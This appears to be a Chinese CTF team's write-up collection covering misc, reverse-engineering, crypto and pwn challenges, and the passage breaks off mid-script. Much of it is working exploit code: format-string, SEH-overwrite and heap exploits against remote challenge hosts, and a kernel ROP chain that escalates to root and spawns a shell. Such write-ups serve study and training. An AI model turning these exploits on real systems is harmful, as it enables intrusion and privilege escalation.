前排广告位:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
from base64 import b64decode a=open("1.txt","r").read() c=open("1.png","wb") c.write(b64decode(a)) c.close()
RestrictedUnpickler.py
里重写了 find_class
,对反序列化的对象位置进行了限制,只允许 guess_game
下的模块,而且不允许含 __
的内置对象。
那么可以先反序列化一个 guess_game里的game对象
,然后再反序列化一个 guess_game.Ticket里的Ticket类
,参数 number
随便赋一个值(比如6),然后将 Ticket
赋值给 game的curr_ticket
覆盖服务端随机生成的 Ticket
,最后我们再反序列化一次最开始反序列化的 Ticket
,参数 number
赋相同值。
index.html里有一句话:can u find my secret
?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png
,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==
,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===
的b32decode,解开可得flag
简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。
from Crypto.Util.number import inverse p = 282164587459512124844245113950593348271 q = 366669102002966856876605669837014229419 n = p*q phi = (p-1)*(q-1) e = 65537 d = inverse(e,phi) c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 m = pow(c,d,n) print(hex(m)[2:-1].decode("hex"))
enc = [ 0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C, 0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5] for j in range(256): a = [j] for i in range(0,20): a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff) s = "".join(map(chr,a)) if "flag" in s: print(s)
开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret
之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature
,从中获取内容并md5校验。md5解出来是Overwatch
问了下队里师傅,冒号说是文件流,可以通过以下指令写入:
sub_140008910
和sub_1400089E0
他们对全局变量unk_1400111A0
进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10
函数的引用,发现在开头起的多线程里面sub_140008B20
又被调用了。简
单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10
解密。判定了一个全局变量,所以只会解密一次。
接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850
中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198
一直没找到在哪设置。分析sub_140008D20
函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20
中被设置,同样的还有qword_140016178
和qword_140016180
,他们最终被sub_140008850
设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850
的逻辑了。
__int64 sub_180002880() { __int64 v0; // rax __int64 v2; // [rsp+0h] [rbp-B8h] __int64 v3; // [rsp+20h] [rbp-98h] __int64 v4; // [rsp+30h] [rbp-88h] __int64 v5; // [rsp+38h] [rbp-80h] __int64 v6; // [rsp+40h] [rbp-78h] __int64 v7; // [rsp+48h] [rbp-70h] char v8; // [rsp+50h] [rbp-68h] char v9; // [rsp+68h] [rbp-50h] char v10; // [rsp+80h] [rbp-38h] __int64 v11; // [rsp+90h] [rbp-28h] memset(&v8, 0, 0x11ui64); ucrtbase_puts("Now check the sign:"); sub_1800027A0("%32s", &v8); v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput"); if ( v5 ) { kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64); kernel32_CloseHandle(v5); v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory"); if ( v4 ) { v3 = 0x8000i64; kernel32_MapViewOfFile(); v7 = v0; if ( v0 ) { kernel32_CloseHandle(v4); v6 = ucrtbase_malloc(0x8000i64); vcruntime140_memset(v6, 0i64, 0x8000i64); vcruntime140_memcpy(v6, v7, 0x8000i64); strcpy(&v10, "Ak1i3aS3cre7K3y"); memset(&v9, 0, 0x11ui64); sub_180002800(&v10, &v9, v6); if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) ) sub_1800026F0("wow... game start!\n"); else sub_1800026F0("Get finally answer!\n"); } else { kernel32_CloseHandle(v4); } } } return sub_180002AB0((unsigned __int64)&v2 ^ v11); }
其中sub_180002800
很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:
输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。
from numpy import * from struct import unpack A = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1], [1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1], [1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1], [1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1], [1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1], [1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1], [1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1], [1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1], [1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1], [1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1], [1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1], [1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1], [1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1], [1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1], [1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1], [1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1], [1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1], [1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1], [1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1], [1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1], [1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1], [1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1], [1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1], [1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1], [1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1], [1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1], [1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1], [1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1], [1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1], [1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1], [1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1], [1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1], [1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1], [1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1], [1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1], [1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1], [1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1], [1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1], [1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1], [1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1], [1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1], [1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]]) res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex") y = [] for i in range(42): tmp = res[i*4:i*4+4] tmp = unpack(">i",tmp)[0] y.append(tmp) B = mat(y) B = B.reshape(42,1) B = A.I*B B = B.reshape(1,42) B = B.tolist()[0] for i in range(42): B[i] = int(round(B[i])) B[i]^=i B[i] = (B[i]>>3)|(B[i]<<5) B[i]&=0xff print("".join(map(chr,B)))
后面看到sub_140002B80
里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10
from z3 import Solver s = Solver() x = BitVec("x",32) s.add(x&1==0) s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9) s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70) print(s.check()) print(s.model())
from pwn import * context.log_level = "debug" main_ebp_offset = 26 def format_offset(format_str , offset): return format_str.replace("{}" , str(offset)) def get_target(offset , name): payload = format_offset("%{}$p\x00" , offset) p.sendline(payload) text = p.recv() try: value = int(text.split("\n")[0] , 16) print(name + " : " + hex(value)) return value except Exception, e: print text def modify_byte(last_byte , offset): payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset) p.sendline(payload) p.recv() def modify(addr , value , ebp_offset , ebp_1_offset): addr_last_byte = addr & 0xff for i in range(4): now_value = (value >> i * 8) & 0xff modify_byte(addr_last_byte + i , ebp_offset) modify_byte(now_value , ebp_1_offset) p = process("./playfmt") #elf = ELF("./playfmt") #p = remote("120.78.192.35",9999) elf = ELF("./playfmt") p.recvuntil("=\n") gdb.attach(p) raw_input() play_ebp_addr = get_target(6, "ebp") raw_input() ebp_addr = get_target(6, "ebp") flag_ptr = 19 flag_addr = get_target(flag_ptr , "addr") - 0x420 log.info(hex(flag_addr)) modify(ebp_addr + 4 , flag_addr , 6 , 14) payload = format_offset("%{}$s\x00" , 14 + 1) p.send(payload) p.interactive()
security_cookie是全局变量上一个值,每一个进程自始至终是固定的。它异或到了ebp-8的数据上,调试一下发现这里指向SEH结构体,之后又异或了ebp放到ebp-1Ch作为canary。
想到可以在栈上伪造一个seh结构体,然后把ebp-8覆盖成我们伪造的结构体,结构体中的异常处理函数改成程序中的后门地址。由于这个地址异或了cookie,所以我们还要读取cookie的值。
from pwn import * main_aslr = 0x1c395e main_addr = 0x0040395E cookie_addr = 0x0047C004 stack_addr = 0x19FF10 cookie_aslr = cookie_addr-main_addr+main_aslr def leak_stack(stack): p.recvuntil("Do you want to know more?") p.sendline("yes") p.recvuntil("Where do you want to know?") p.sendline(str(stack-stack_addr+stack_aslr)) p.recvuntil("value is ") s = p.recvline().strip() s = eval(s) return s p = remote("121.40.159.66","6666") p.recvuntil("stack address = ") stack_aslr = eval(p.recv(8)) log.success("stack:0x%x"%stack_aslr) p.recvuntil("main address = ") main_aslr = eval(p.recv(8)) log.success("main:0x%x"%main_aslr) str4_addr = 0x0019FE48-stack_addr+stack_aslr p.recvuntil("So,Can You Tell me what did you know?") p.sendline("00408541") p.recvuntil("Do you want to know more?") p.sendline("yes") p.recvuntil("Where do you want to know?") p.sendline(str(cookie_aslr)) p.recvuntil("value is ") cookie = p.recvline().strip() cookie = eval(cookie) log.success("cookie:0x%x"%cookie) s1 = leak_stack(0x19fed4) s4 = leak_stack(0x19fee0) s5 = leak_stack(0x19fee4) p.recvuntil("Do you want to know more?") p.sendline("y") payload = 'aaaa' + p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(0x408224-main_addr+main_aslr)+p32(0x00408266-main_addr+main_aslr) payload = payload.ljust(144,"a") + p32(s1) + 'a'*8 + p32(s4) + p32(s5) + p32(cookie^str4_addr) + p32(0) print(len(payload)) p.sendline(payload) p.recvuntil("Do you want to know more?") p.sendline("yes") p.recvuntil("Where do you want to know?\r\n") p.sendline("0") p.interactive()
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <pthread.h> #include <sys/stat.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sys/ioctl.h> #include <memory.h> #include <pty.h> #include <signal.h> #define kalloc 0x73311337 #define kfree 0x13377331 #define printk 0xDEADBEEF #define prepare_off 0x81790 #define commit_off 0x81410 #define pop_rdi_ret 0x3a591c #define mov_rdi_cr4 0x4e5b1 #define pop_rdx_ret 0x44f17 #define mv_rax_in_rdx 0x6b31 void error_quit(char *p) { perror(p); exit(-1); } void (*commit_creds)(void *); void (*prepare_kernel_cred)(void *); void get_root(int arg) { system("/bin/sh");; } int main() { int i,fd,t[0x100]; char p[0x2008]; signal(SIGSEGV, get_root); char *leak = "%lx %lx %lx %lx %lx kernel:0x%lx %lx %lx %lx stack:0x%lx %lx %lx %lx %lx aa\n"; unsigned long stack; unsigned long kernel; if ((fd = open("/dev/meizijiutql",O_RDWR)) == -1) error_quit("open error"); for (i = 0; i < 0x103; i++) ioctl(fd, kalloc, 0xff9); write(fd, leak, strlen(leak)); ioctl(fd, printk, 0); ioctl(fd, printk, 0); printf("input kernel_base\n"); scanf("%lx",&kernel); kernel = kernel & 0xfffffffffff00000; kernel -= 0x100000; printf("input stack_addr\n"); scanf("%lx",&stack); stack = stack & 0xfffffffffffff000; *((unsigned long *)&p[0x1000]) = stack; write(fd, p, 0x1008); memset(p,0x90,0x2000); unsigned long *rop = (unsigned long *)&p[0xe50-8]; i = 0; printf("0x%lx\n",pop_rdi_ret+kernel); sleep(1); rop[i++] = pop_rdi_ret + kernel; rop[i++] = 0; rop[i++] = prepare_off + kernel; rop[i++] = pop_rdx_ret + kernel; rop[i++] = stack + 0xe80; rop[i++] = mv_rax_in_rdx + kernel; rop[i++] = pop_rdi_ret + kernel; rop[i++] = 0x6f0; rop[i++] = commit_off + kernel; rop[i++] = 0xa00d5a + kernel; rop[i++] = 0x246; rop[i++] = 0x021880 + kernel; rop[i++] = get_root; rop[i++] = 0x33; rop[i++] = 0x246; rop[i++] = p; rop[i++] = 0x2b; for (i=0;i<0x700;i++) { ioctl(fd, kalloc, 0xff9); write(fd, p, 0x1000); } return 0; }
from pwn import * debug=0 context.log_level='debug' if debug: p=process('./pwn') #p=process('',env={'LD_PRELOAD':'./libc.so'}) gdb.attach(p) else: p=remote('47.111.59.243', 10001) def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) def add(sz,name,price): sl('1') ru('length: ') sl(str(sz)) ru('Name: ') se(name) ru('Price: ') sl(str(price)) ru('>>> ') def comment(idx,content,score): sl('2') ru('Index: ') sl(str(idx)) ru('Comment on') se(content) ru('score:') sl(str(score)) ru('>>> ') def throw(idx): sl('3') ru('index: ') sl(str(idx)) ru('Comment ') data = ru(' will')[:-5] ru('>>> ') return data add(0x200,'a\n',100) add(0x100,'a\n',200) comment(0,'aaaa\n',100) throw(0) add(0x10,'a\n',100) comment(0,'a',100) libc = u32(throw(0)[4:8]) if debug: base = libc-0x1b27b0 else: base = libc-0x1b07b0 throw(1) add(0x200,'c'*20+'\n',100) throw(0) add(0xc,'wwwww\n',100) comment(0,'a'*0x10,200) heap = u32(throw(0)[0x10:0x14])-0x48 for i in range(8): add(0x10,'a\n',100) for i in range(8): throw(i) add(0x10,'b\n',200) #0 add(0xa0,'a\n',100) #1 add(0xfc,'a\n',100) #2 add(0xfc,'b\n',200) #3 add(0xfc,'c\n',300) #4 throw(2) add(0xfc,(p32(0)*3+p32(0xf1)+p32(heap+0x288)+p32(heap+0x288)+p32(heap+0x278)*4).ljust(0xf8,'a')+p32(0xf0),200) #2 throw(3) add(0xec,'a\n',100) #3 add(0xfc,'b\n',200) #5 throw(3) add(0x2c,'qqqqqq\n',100) #3 add(0xbc,'a\n',100) #6 throw(3) throw(2) #free_hook = base + 0x1b38b0 free_hook = base + 0x1b18b0 add(0xfc,p32(0)*3+p32(0x31)+p32(heap)+'\n',100) #2 add(0x2c,p32(0)+p32(heap+0x8)+p32(0)+p32(free_hook)+p32(0)+p32(heap+0x298)+'/bin/sh\0'+'\n',100) #3 add(0x2c,p32(heap+0x290)+p32(heap+0x280)+'\n',100) #7 sl('4') ru('Give me an index: ') sl('1') sleep(0.5) se(p32(heap+0x290)+p32(heap+0x288)) ru('Wanna get more power?(y/n)') sl('y') ru('Give me serial:') se('e4SyD1C!') sleep(0.5) #se('a'+p32(base+0x3ada0)) se('a'+p32(base+0x3a940)) print(hex(free_hook)) print(hex(base)) print(hex(heap)) p.interactive()
from pwn import * from hashlib import md5 import decimal import gmpy2 def gcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a a = 0 def oracle(num): p.recvuntil("Please input your option:") p.sendline("D") p.recvuntil("Your encrypted message:") p.sendline(str(num)) p.recvuntil("The plain of your decrypted message is ") lsb = p.recv(3) return lsb == 'odd' def partial(c,e,n): k = n.bit_length() decimal.getcontext().prec = k # for 'precise enough' floats lo = decimal.Decimal(0) hi = decimal.Decimal(n) for i in range(k): if not oracle(c): hi = (lo + hi) / 2 else: lo = (lo + hi) / 2 c = (c * pow(2, e, n)) % n print i, int(hi - lo) return int(hi) s = "0123456789abcdefABCDEF" p = remote("47.111.59.243","8003") p.recvuntil("[*] Please find a string that md5(str + ") salt = p.recv(4) p.recvuntil("[0:5] == ") part_hash = p.recv(5) found = 0 for i in s: for j in s: for k in s: for l in s: for m in s: ss = i+j+k+l+m if md5(ss+salt).hexdigest()[:5] == part_hash: found = 1 break if found: break if found: break if found: break if found: break p.recvuntil("> ") p.sendline(ss) p.recvuntil("cs[0] = ") c1 = eval(p.recvline()) p.recvuntil("ns[0] = ") n1 = eval(p.recvline()) p.recvuntil("cs[1] = ") c2 = eval(p.recvline()) p.recvuntil("ns[1] = ") n2 = eval(p.recvline()) p.recvuntil("cs[2] = ") c3 = eval(p.recvline()) p.recvuntil("ns[2] = ") n3 = eval(p.recvline()) p.recvuntil("cs[3] = ") c4 = eval(p.recvline()) p.recvuntil("ns[3] = ") n4 = eval(p.recvline()) n1p1 = gcd(n1,n2) n1p2 = gcd(n1,n3) n1p3 = gcd(n1,n4) n1p4 = n1/(n1p1*n1p2*n1p3) d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1))) m1 = pow(c1,d1,n1) n2p1 = gcd(n2,n1) n2p2 = gcd(n2,n3) n2p3 = gcd(n2,n4) n2p4 = n2/(n2p1*n2p2*n2p3) d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1))) m2 = pow(c2,d2,n2) n3p1 = gcd(n3,n1) n3p2 = gcd(n3,n2) n3p3 = gcd(n3,n4) n3p4 = n3/(n3p1*n3p2*n3p3) d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1))) m3 = pow(c3,d3,n3) n4p1 = gcd(n4,n2) n4p2 = gcd(n4,n3) n4p3 = gcd(n4,n1) n4p4 = n4/(n4p1*n4p2*n4p3) d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1))) m4 = pow(c4,d4,n4) p.recvuntil("ms[0] = ") p.sendline(hex(m1)) p.recvuntil("ms[1] = ") p.sendline(hex(m2)) p.recvuntil("ms[2] = ") p.sendline(hex(m3)) p.recvuntil("ms[3] = ") p.sendline(hex(m4)) print(p.recvline().strip())
#coding=utf8 from Crypto.PublicKey import DSA from hashlib import md5 import gmpy2 import hashlib from cryptography.hazmat.primitives.asymmetric.rsa import _modinv p = 89884656743115795580686663829063433723705316331915518116995555215732107995059028542508401244839154951727540560161931978595376162965578570688594466436802284147607626105578924348149452183916543288346766737451989059750506942292767656446346135964708979885460659773076011464167414551120634816058711585048191954497 q = 1111804377363103506497255080558092668997313464491 g = 81015871603456981032885262867256289415428185718067221863176015480426278916784273932461088597278453025238130171264554340337052290801398971212149002598733514497274080038687844873045392142055341888546884513467006243654622193996237786587933291936305860861104505778330178660321910982065964185311229731036440300912 y = 24205967076065946398939942966555243225474145978138314135133201932616151998778053968114291774217862261420967723355996662814191035892360634754604901035581578539634376520187757713469318847622699231634156440729178396025399617453913697005440949117064991219553520585024955478025227096450962672242862991836900979588 #找到一组同r的数据,m为字符串的md5 # And see the brave day sunk in hideous night # Its MD5 digest: 189275664133327295485034625257633857845 # (1110285731834476772119910400331516120389395795749L, 671563422243860980520073471433161684440141852624L) # ------------------------------------------------------------------------ # And sable curls all silver'd o'er with white # Its MD5 digest: 76447611971473350019028042637993930502 # (1110285731834476772119910400331516120389395795749L, 218895397309026853341136197466419726836220239272L) s0=671563422243860980520073471433161684440141852624 s1=218895397309026853341136197466419726836220239272 m0=189275664133327295485034625257633857845 m1=76447611971473350019028042637993930502 r= 1110285731834476772119910400331516120389395795749 dm=m1-m0 ds=s1-s0 k = gmpy2.mul(dm, gmpy2.invert(ds, q)) k = gmpy2.f_mod(k, q) tmp = gmpy2.mul(k, s0) - m0 x = tmp * gmpy2.invert(r, q) x = gmpy2.f_mod(x, q) data5="""And nothing 'gainst Time's scythe can make defence""" kinv = _modinv(k, q) h = hashlib.md5(data5.encode()).digest() h = int.from_bytes(h, "big") s = kinv * (h + r * x) % q print("("+str(r)+"L, "+str(int(s))+"L)") #flag:flag{Wh4t_a_Prety_Si3nature!}
from Crypto.Random import random from Crypto.Util import number def convert(m): m = m ^ m >> 13 m = m ^ m << 9 & 2029229568 m = m ^ m << 17 & 2245263360 m = m ^ m >> 19 return m def transform(message): new_message = '' for i in range(len(message) / 4): block = message[i * 4 : i * 4 +4] block = number.bytes_to_long(block) block = convert(block) block = number.long_to_bytes(block, 4) new_message += block return new_message c1 = '641460a9' c2 = 'e3953b1a' c3 = 'aa21f3a2' def decode(c): x = c while True: xx = x x = transform(x.decode('hex')).encode('hex') if x == c: return xx print(decode(c1)+decode(c2)+decode(c3)) #flag{84b45f89af22ce7e67275bdc}
from pwn import * from hashlib import md5 import decimal a = 0 def oracle(num): p.recvuntil("Please input your option:") p.sendline("D") p.recvuntil("Your encrypted message:") p.sendline(str(num)) p.recvuntil("The plain of your decrypted message is ") lsb = p.recv(3) return lsb == 'odd' def partial(c,e,n): k = n.bit_length() decimal.getcontext().prec = k # for 'precise enough' floats lo = decimal.Decimal(0) hi = decimal.Decimal(n) for i in range(k): if not oracle(c): hi = (lo + hi) / 2 else: lo = (lo + hi) / 2 c = (c * pow(2, e, n)) % n print i, int(hi - lo) return int(hi) s = "0123456789abcdefABCDEF" p = remote("47.111.59.243","9421") p.recvuntil("[*] Please find a string that md5(str + ") salt = p.recv(4) p.recvuntil("[0:5] == ") part_hash = p.recv(5) found = 0 for i in s: for j in s: for k in s: for l in s: for m in s: ss = i+j+k+l+m if md5(ss+salt).hexdigest()[:5] == 